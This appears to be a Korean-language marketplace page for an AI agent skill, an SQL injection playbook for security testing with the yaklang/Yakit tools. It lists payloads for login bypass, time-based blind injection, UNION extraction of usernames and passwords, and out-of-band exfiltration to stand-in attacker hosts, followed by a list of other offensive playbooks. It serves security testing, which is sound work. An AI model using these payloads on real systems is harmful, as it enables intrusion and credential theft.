Community코딩 & 개발github.com

yaklang/sqli-sql-injection

SQL 인젝션 플레이북. 입력이 SQL 쿼리, 인증 로직, 정렬, 필터링, 보고, 또는 데이터베이스 특화 블라인드 및 아웃오브밴드 실행 경로에 도달할 때 사용합니다.

sqli-sql-injection란 무엇인가요?

이 스킬은 SQL 인젝션 취약점을 탐지하고 악용하기 위한 포괄적인 플레이북을 제공합니다. 개발자와 보안 엔지니어가 입력 값이 SQL 쿼리, 인증 로직, 정렬/필터링, 보고 기능, 또는 데이터베이스별 블라인드 및 아웃오브밴드(OOB) 실행 경로에 사용될 때 발생할 수 있는 SQL 인젝션을 식별할 수 있도록 돕습니다. 주요 사용 사례로는 로그인 우회, 데이터 추출, 시간 기반 블라인드 인젝션, 에러 기반 인젝션, UNION 기반 인젝션, 그리고 DNS 또는 HTTP를 통한 OOB 통신 등이 포함됩니다. 이 스킬은 yaklang 플랫폼(예: Yakit)과 함께 사용하도록 설계되었으며, 자동화된 보안 테스트 워크플로우에 통합될 수 있습니다. SKILL.md 문서에는 탐지 규칙, 페이로드 예제, 다양한 데이터베이스(MariaDB, PostgreSQL, Oracle, MSSQL 등)별 특화 전략이 자세히 설명되어 있습니다.

지원 대상~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/sqli-sql-injection

Installed? Explore more 코딩 & 개발 skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

즐겨 사용하는 AI에게 물어보기

이 에이전트 스킬이 미리 로드된 새 채팅을 엽니다.

문서

sqli-sql-injection은(는) 무엇을 하나요?

SQL 인젝션 플레이북. 입력이 SQL 쿼리, 인증 로직, 정렬, 필터링, 보고, 또는 데이터베이스별 블라인드 및 아웃오브밴드 실행 경로에 도달할 때 사용합니다.

개요

이 스킬은 SQL 인젝션 취약점을 식별하고 악용하기 위한 체계적인 접근 방식을 제공합니다. 다음과 같은 시나리오에 적합합니다:

  • 로그인 폼, 검색 필드, API 파라미터 등 사용자 입력이 SQL 쿼리에 포함되는 경우
  • ORDER BY, GROUP BY, LIMIT 등 정렬 및 필터링 구문에 사용자 입력이 사용되는 경우
  • 데이터베이스 오류 메시지를 노출하는 에러 기반 인젝션
  • 시간 지연 함수(SLEEP, WAITFOR DELAY 등)를 사용한 블라인드 인젝션
  • 외부 통신(DNS, HTTP)을 통한 아웃오브밴드(OOB) 데이터 추출

지원 데이터베이스

  • MariaDB / MySQL
  • PostgreSQL
  • Oracle
  • Microsoft SQL Server (MSSQL)
  • SQLite (제한적 지원)

사용 방법

이 스킬은 일반적으로 자동화 보안 도구나 스크립트 내에서 호출됩니다. 예시:

# yaklang 규칙 예시
rules:
  - id: sqli-detection
    match: 
      - "' OR '1'='1"
      - "\" OR 1=1--"
      - "'; SLEEP(5)--"
    output: "SQL 인젝션 가능성이 있습니다."

페이로드 예시

인증 우회

' OR '1'='1' --
" OR 1=1 --
admin' --

시간 기반 블라인드

' OR SLEEP(5)--
1; WAITFOR DELAY '00:00:05'--
'; SELECT pg_sleep(5)--

UNION 기반 데이터 추출

' UNION SELECT NULL, username, password FROM users--
1 UNION SELECT 1,2,3 FROM dual--

아웃오브밴드 (OOB)

'; EXEC xp_dirtree '\\attacker-server\test'--
' OR (SELECT load_file(concat('\\\\',(SELECT @@version),'.attacker.com\\test')))--

주의사항

  • 실제 시스템에서 테스트할 때는 적절한 권한을 얻으십시오.
  • 블라인드 인젝션은 시간 지연이 길어질 수 있으므로 타임아웃을 설정하십시오.
  • OOB 페이로드는 네트워크 환경에 따라 동작하지 않을 수 있습니다.

참고

이 플레이북은 yaklang 및 Yakit 도구와 함께 사용하기 최적화되어 있습니다.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

관련 스킬